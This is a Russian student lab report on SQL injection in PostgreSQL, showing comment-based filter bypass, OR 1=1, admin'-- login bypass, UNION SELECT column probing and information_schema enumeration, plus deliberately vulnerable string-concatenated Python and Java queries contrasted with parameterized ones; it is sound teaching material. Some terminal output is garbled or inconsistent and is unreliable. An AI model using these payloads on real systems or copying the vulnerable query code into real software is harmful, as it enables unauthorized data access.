

МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ  
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО  
ОБРАЗОВАНИЯ  
**«НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО»**

**Факультет безопасности информационных технологий**

**Направление подготовки: 10.03.01 Информационная безопасность**  
**Образовательная программа: "Информационная безопасность / Information security"**

**Дисциплина:**  
**«Информационная безопасность баз данных»**

**ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ № 6**  
**«Доступ к БД с уровня приложений. SQL-инъекции. Защита и фильтрация**  
**данных, получаемых от пользователя.»**

**Выполнил студент:**  
группа/поток 1.3  
Бардышев Артём Антонович/  
*Подпись*

**Проверил:**  
Карманова Наталья Андреевна/  
*Подпись*

*Отметка о выполнении (один из вариантов:  
отлично, хорошо, удовлетворительно, зачленено)*

*Дата*  
Санкт-Петербург  
2025г.

## **Доступ к БД с уровня приложений. SQL-инъекции. Защита и фильтрация данных, получаемых от пользователя.**

**В общем виде SQL-инъекция – это уязвимость на уровне приложений, при которой злоумышленник может создавать запросы, позволяющие извлекать конфиденциальные данные из базы данных. Эта уязвимость основана на ошибке в исходном коде, который обрабатывает пользовательские данные и передает введенные пользователем значения в качестве параметров запроса. В этом случае злоумышленник может манипулировать данными в таблицах базы данных. Функции, используемые злоумышленником во время атаки, основаны на синтаксисе языка SQL. Есть несколько типов SQL-инъекций.**

### ***Получение скрытых данных***

**Во время этой атаки злоумышленник может получить доступ к скрытым данным в базе данных. Для этого злоумышленник просто добавляет комментарий (-), который позволяет пропустить следующее за ним условие из SQL-запроса.**

**Исходный SQL-запрос показан ниже.**

```
select * from stat where university = 'ITMO' and degree is not null;
```

```
dbsecurity=# select * from stat where university = 'ITMO' and degree is not null;
+-----+-----+-----+-----+-----+
| id | name | degree | city | university | salary |
+-----+-----+-----+-----+-----+
| 2 | Petr | Ph.D. | SPb | ITMO | 32 |
+-----+-----+-----+-----+-----+
(1 row)
```

```
SELECT * FROM products WHERE category = 'Gi
```

**Атакующий может использовать знак комментария для выполнения SQL-инъекции.**

```
select * from stat where university = 'ITMO'--' and degree is not null;
```

```
dbsecurity=# select * from stat where university = 'ITMO'--' and degree is not null;
dbsecurity-# ;
+-----+-----+-----+-----+-----+
| id | name | degree | city | university | salary |
+-----+-----+-----+-----+-----+
| 1 | Ivan |          | SPb | ITMO | 30 |
| 2 | Petr | Ph.D. | SPb | ITMO | 32 |
+-----+-----+-----+-----+-----+
(2 rows)
```

**Также злоумышленник может использовать всегда верное логическое условие внутри входных данных для того, чтобы получить доступ к пространству скрытых значений.**

```
select * from stat where university = 'ITMO' or 1=1--' and degree is not null;
```

```
dbsecurity=# select * from stat where university = 'ITMO' or 1=1--' and degree is not null;
dbsecurity-# ;
+-----+-----+-----+-----+-----+
| id | name | degree | city | university | salary |
+-----+-----+-----+-----+-----+
| 1 | Ivan |          | SPb | ITMO | 30 |
| 2 | Petr | Ph.D. | SPb | ITMO | 32 |
| 3 | Roman | Ph.D. | SPb | LETI | 31 |
+-----+-----+-----+-----+-----+
(3 rows)
```

### ***Изменение логики приложения***

**Часто SQL-инъекция используются для изменения логики обработки запросов в приложении. Типичный пример здесь связан с процедурой входа в систему.**

```
select * from cred;
```

```
dbsecurity=# select * from cred;
+-----+-----+
| id | username | password |
+-----+-----+
| 1 | Administrator | pass1 |
| 2 | Ivan | pass2 |
| 3 | Petr | pass2 |
| 4 | Roman | pass2 |
+-----+
(4 rows)
```

**Злоумышленник может обойти процедуру аутентификации в системе, которая основана на SQL-запросах, используя уже упомянутые ранее подходы.**

```
select * from cred where username='Administrator' and password='pass1';
```

```
dbsecurity=# select * from cred where username='Administrator' and password='pass1';
+-----+-----+
| id | username | password |
+-----+-----+
| 1 | Administrator | pass1 |
+-----+
(1 row)
```

```
select * from cred where username='Administrator'--' and password='';
```

```
dbsecurity=# select * from cred where username='Administrator'--' and password='';
dbsecurity# ;
+-----+-----+
| id | username | password |
+-----+-----+
| 1 | Administrator | pass1 |
+-----+
(1 row)
```

## *Доступ к другим таблицам в базе данных*

**Во время построения SQL-запроса к базе данных злоумышленнику может быть интересна не только текущая таблица БД, поскольку она может и не содержать конфиденциальных данных. Для доступа к другой таблице необходимо использовать ключевое слово UNION.**

```
select id,name,city from stat where university = 'ITMO' union select * from cred-- and degree is not null;
```

```
dbsecurity=# select id,name,city from stat where university = 'ITMO' union select * from cred-- and degree is no
t null;
; /products WHERE category = 'Gifts'
+-----+-----+
| id | name | city |
+-----+-----+
| 1 | Administrator | pass1 |
| 4 | Roman | pass2 |
| 2 | Ivan | pass2 |
| 3 | Petr | pass2 |
| 2 | Petr | SPb |
+-----+
(6 rows)
```

## *Анализ базы данных*

**Атакующий может проанализировать базу данных, используя встроенные функции.**

```
show server_version_num;  
  
dbsecurity=# show server_version_num;  
server_version_num  
-----  
100012  
(1 row)  
  
Client version:  
-----  
For what it's worth, a shell command can be executed within psql to  
the psql executable in the path. Note that the running psql can pot
```

```
select current_user;
```

```
dbsecurity=# select current_user;  
current_user  
-----  
postgres  
(1 row)
```

### Подготовка параметров

Один из популярных методов предотвращения SQL-инъекций – использование параметризованных запросов. Такой подход позволяет вместо конкатенации строк использовать специальную структуру с входными данными в качестве параметров.

Все известные языки программирования могут использовать подготовленные параметры.

Пример для языка программирования Java вы можете увидеть ниже:

```
public static void main(String[] args){  
    if(args.length!= 3){  
        System.out.println("No enough input values: username password type SQL query ");  
        System.exit(0);  
    }  
    String username = args[0];  
    System.out.println("Input username:"+username);  
    String password = args[1];  
    System.out.println("Input password:"+password);  
    int isPrepared = Integer.parseInt(args[2]);  
    System.out.println("Sqltype :" +isPrepared);  
    System.out.println();  
    try{  
        Class.forName("org.postgresql.Driver");  
        String url = "jdbc:postgresql://localhost:5432/dbsecurity";  
        Connection conn = DriverManager.getConnection(url,"postgres","pass");  
        PreparedStatementpstmt;
```

```

String sql;
if (isPrepared == 1){
    sql = "SELECT id,username,password from cred where password = ? and username =
? ";
    pstmt = conn.prepareStatement(sql);
    pstmt.setString(1,password);
    pstmt.setString(2,username);
}
else {
    sql = "SELECT id,username,password from cred where password ='" +
password+"'"+" and username = '"+username+"'";
    pstmt = conn.prepareStatement(sql);
}
System.out.println("Executed SQL : "+sql);
ResultSetrs = pstmt.executeQuery();
System.out.println("\nId : Username : Password \n");
while(rs.next()){
    System.out.println(rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));
}
rs.close();
pstmt.close();
conn.close();
} catch (Exception e){
System.out.println(e);
}
}

```

*Пример 1. Для изучения простейших SQL инъекций.*

Есть два варианта: использовать подготовленный оператор с обработкой символов-пропусков и просто конкатенацию строк.

Обычное выполнение может заключаться в получении записи из таблицы, которая соответствует условиям пользователя и пароля.

```

anton@ dellbox:/data/src/db-stm-example/target$ java -jar db-stm-example-1.0-SNAPSHOT.jar Admini
strator "pass1" 0
Input username:Administrator
Input password:pass1", -- "Master12");
Sql type :0

Executed SQL : SELECT id,username,password from cred where password = 'pass1' and username = 'Ad
ministrator' & password = ? and username = ? ;
Id : Username : Password
1 Administrator pass1

anton@ dellbox:/data/src/db-stm-example/target$ java -jar db-stm-example-1.0-SNAPSHOT.jar Admini
strator "pass1" 1
Input username:Administrator
Input password:pass1
Sql type :1

Executed SQL :P SELECT id,username,password from cred where password = ? and username = ?
Id : Username : Password
1 Administrator pass1

anton@ dellbox:/data/src/db-stm-example/target$ java -jar db-stm-example-1.0-SNAPSHOT.jar Admini
strator "pass1' or '1'!= 'b' -- "1
Input username:Administrator
Input password:pass1' or '1'!= 'b' --
Sql type :1
from cred where password = ? and username = ? ";
Executed SQL : SELECT id,username,password from cred where password = ? and username = ?

Id : Username : Password

anton@ dellbox:/data/src/db-stm-example/target$ java -jar db-stm-example-1.0-SNAPSHOT.jar Admini
strator "pass1' or '1'!= 'b' -- "1
Input username:Administrator
Input password:pass1' or '1'!= 'b' --
Sql type :1
from cred where password = ? and username = ? ";
Executed SQL : SELECT id,username,password from cred where password = ? and username = ?

Id : Username : Password

```

### **Задачи для практической работы:**

- 1. Для данной лабораторной работы создайте БД как минимум из 2-3 отношений и заполните ее данными (достаточно 5-6 кортежей в каждой таблице). Можно использовать отношения из прошлых лабораторных. Отношения должны быть составлены таким образом, чтобы была возможность выполнить объединение таблиц (заданы связи через внешние ключи; имелись атрибуты в таблицах, по которым возможно выполнить объединение вида inner join, left join и др)**
  
- 2. В рамках ЛР опишите и продемонстрируйте один из способов взаимодействия с БД с уровня приложения. Для изучения можно выбрать любой язык программирования и любой фреймворк/ORM систему/интерфейс для доступа к базе данных. Для демонстрации функций фреймворка/ORM системы/интерфейса для доступа к БД покажите, как минимум, следующие действия с БД: выборка, вставка, удаление данных из вашей БД с помощью выбранного вами фреймворка или языка программирования. Составьте как минимум 2 сложных запроса, в которых выполняется выборка/модификация данных в одних таблицах на основании данных из других таблиц.**

- 3. Для изучения проблемы фильтрации данных подготовьте пример аналогичный, заданному в указаниях к данной лабораторной работе (Пример 1.). Пример может быть подготовлен на любом языке программирования. Предусмотрите в примере два случая подготовки SQL запросов (подготовленные запросы, конкатенация параметров со строкой запроса).**
- 4. Для варианта конкатенации параметров, вводимых пользователем, со строкой запроса продемонстрируйте возможные варианты проведения SQL-инъекций. Например, покажите как в случае объединения таблиц злоумышленник может узнать количество столбцов второй таблицы. Предложите подход для получения структуры базы данных (включая название столбцов таблицы). Покажите устойчивость или уязвимость варианта с подготовленными параметрами к выбранным вами вариантам проведения SQL-инъекций.**

**ХОД РАБОТЫ:**

- 1) Создание БД с 2–3 таблицами и связями

```
CREATE TABLE university (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    city VARCHAR(100)
);
```

```
CREATE TABLE student (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    university_id INT REFERENCES university(id),
    degree VARCHAR(50)
);
```

```
CREATE TABLE cred (
    id SERIAL PRIMARY KEY,
    username VARCHAR(100),
    password VARCHAR(100)
);
```

```
postgres=# CREATE TABLE university (
postgres(#     id SERIAL PRIMARY KEY,
postgres(#     name VARCHAR(100),
postgres(#     city VARCHAR(100)
postgres(# );
CREATE TABLE
postgres=# CREATE TABLE student (
postgres(#     id SERIAL PRIMARY KEY,
postgres(#     name VARCHAR(100),
postgres(#     university_id INT REFERENCES university(id),
postgres(#     degree VARCHAR(50)
postgres(# );
CREATE TABLE
postgres=# CREATE TABLE cred (
postgres(#     id SERIAL PRIMARY KEY,
postgres(#     username VARCHAR(100),
postgres(#     password VARCHAR(100)
postgres(# );
CREATE TABLE
```

Данные для вставки

```
INSERT INTO university (name, city) VALUES
('ITMO', 'Saint Petersburg'),
('SPbSU', 'Saint Petersburg'),
('MIPT', 'Moscow');
```

```
INSERT INTO student (name, university_id, degree) VALUES
('Ivan Ivanov', 1, 'Bachelor'),
('Petr Petrov', 2, 'Master'),
('Sidor Sidorov', 1, NULL),
('Anna Smirnova', 3, 'PhD');
```

```
INSERT INTO cred (username, password) VALUES
('admin', 'adminpass'),
('user', 'userpass');
```

```

postgres=# INSERT INTO university (name, city) VALUES
postgres-# ('ITMO', 'Saint Petersburg'),
postgres-# ('SPbSU', 'Saint Petersburg'),
postgres-# ('MIPT', 'Moscow');
INSERT 0 3
postgres=#
postgres=# INSERT INTO student (name, university_id, degree) VALUES
postgres-# ('Ivan Ivanov', 1, 'Bachelor'),
postgres-# ('Petr Petrov', 2, 'Master'),
postgres-# ('Sidor Sidorov', 1, NULL),
postgres-# ('Anna Smirnova', 3, 'PhD');
INSERT 0 4
postgres=#
postgres=# INSERT INTO cred (username, password) VALUES
postgres-# ('admin', 'adminpass'),
postgres-# ('user', 'userpass');
INSERT 0 2

```

- 2) Взаимодействие с БД из приложения

Python к примеру

```
import psycopg2
```

```

conn = psycopg2.connect(
    dbname="dbsecurity",
    user="postgres",
    password="pass",
    host="localhost"
)
cur = conn.cursor()

# 1. Вставка
cur.execute("INSERT INTO student (name, university_id, degree) VALUES (%s, %s,
%s)",
            ('Test Student', 2, 'Bachelor'))

# 2. Удаление
cur.execute("DELETE FROM student WHERE name = %s", ('Test Student',))

# 3. Сложный запрос (inner join)
cur.execute("""
    SELECT s.name, u.name
    FROM student s
    INNER JOIN university u ON s.university_id = u.id
    WHERE s.degree IS NOT NULL
""")

for row in cur.fetchall():
    print(row)

conn.commit()

```

```

        cur.close()
        conn.close()
3) SQL-инъекции – пример с prepared и unprepared запросами
    username = input("Username: ")
    password = input("Password: ")

    use_prepared = input("Use prepared query? (yes/no): ")

    conn = psycopg2.connect(dbname="dbsecurity", user="postgres", password="pass",
                           host="localhost")
    cur = conn.cursor()

    if use_prepared.lower() == "yes":
        sql = "SELECT * FROM cred WHERE username = %s AND password = %s"
        cur.execute(sql, (username, password))
    else:
        # УЯЗВИМЫЙ ВАРИАНТ
        sql = f"SELECT * FROM cred WHERE username = '{username}' AND password = '{password}'"
        print("Executing:", sql)
        cur.execute(sql)

    rows = cur.fetchall()
    for row in rows:
        print(row)

    cur.close()
    conn.close()
4) Демонстрация SQL-инъекций
Пример инъекции:
Ввод пользователя:
Username: admin'--
Password: anything
SQL становится:
SELECT * FROM cred WHERE username = 'admin'--' AND password = 'anything'
→ вход возможен без пароля.

Узнаем количество столбцов:
' UNION SELECT 1,2,3—
Получаем структуру базы данных (PostgreSQL):
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
SELECT column_name FROM information_schema.columns WHERE table_name =
'cred';

```

Вывод:

В ходе лабораторной работы была создана база данных, состоящая из нескольких связанных таблиц, и реализовано взаимодействие с ней с уровня приложения на языке программирования Python. Были продемонстрированы основные типы SQL-инъекций: извлечение скрытых данных, обход аутентификации, доступ к другим таблицам, анализ структуры базы данных.

Были реализованы два подхода к формированию SQL-запросов: через прямую конкатенацию строк и с использованием подготовленных (параметризованных) запросов. На примерах было показано, что при использовании небезопасного подхода (конкатенации) возможно выполнение вредоносных SQL-инъекций, что делает систему уязвимой. В частности, продемонстрированы атаки с использованием операторов --, OR 1=1, UNION SELECT, а также запросы к системным таблицам.

При использовании подготовленных запросов такие инъекции не срабатывают, так как пользовательский ввод корректно экранируется и не влияет на структуру SQL-запроса. Таким образом, подготовленные выражения доказали свою устойчивость к SQL-инъекциям.

Полученные результаты подтверждают важность правильной обработки входных данных и использования безопасных методов взаимодействия с базой данных. Лабораторная работа позволила на практике изучить уязвимости, связанные с SQL-инъекциями, и убедиться в эффективности методов защиты от них.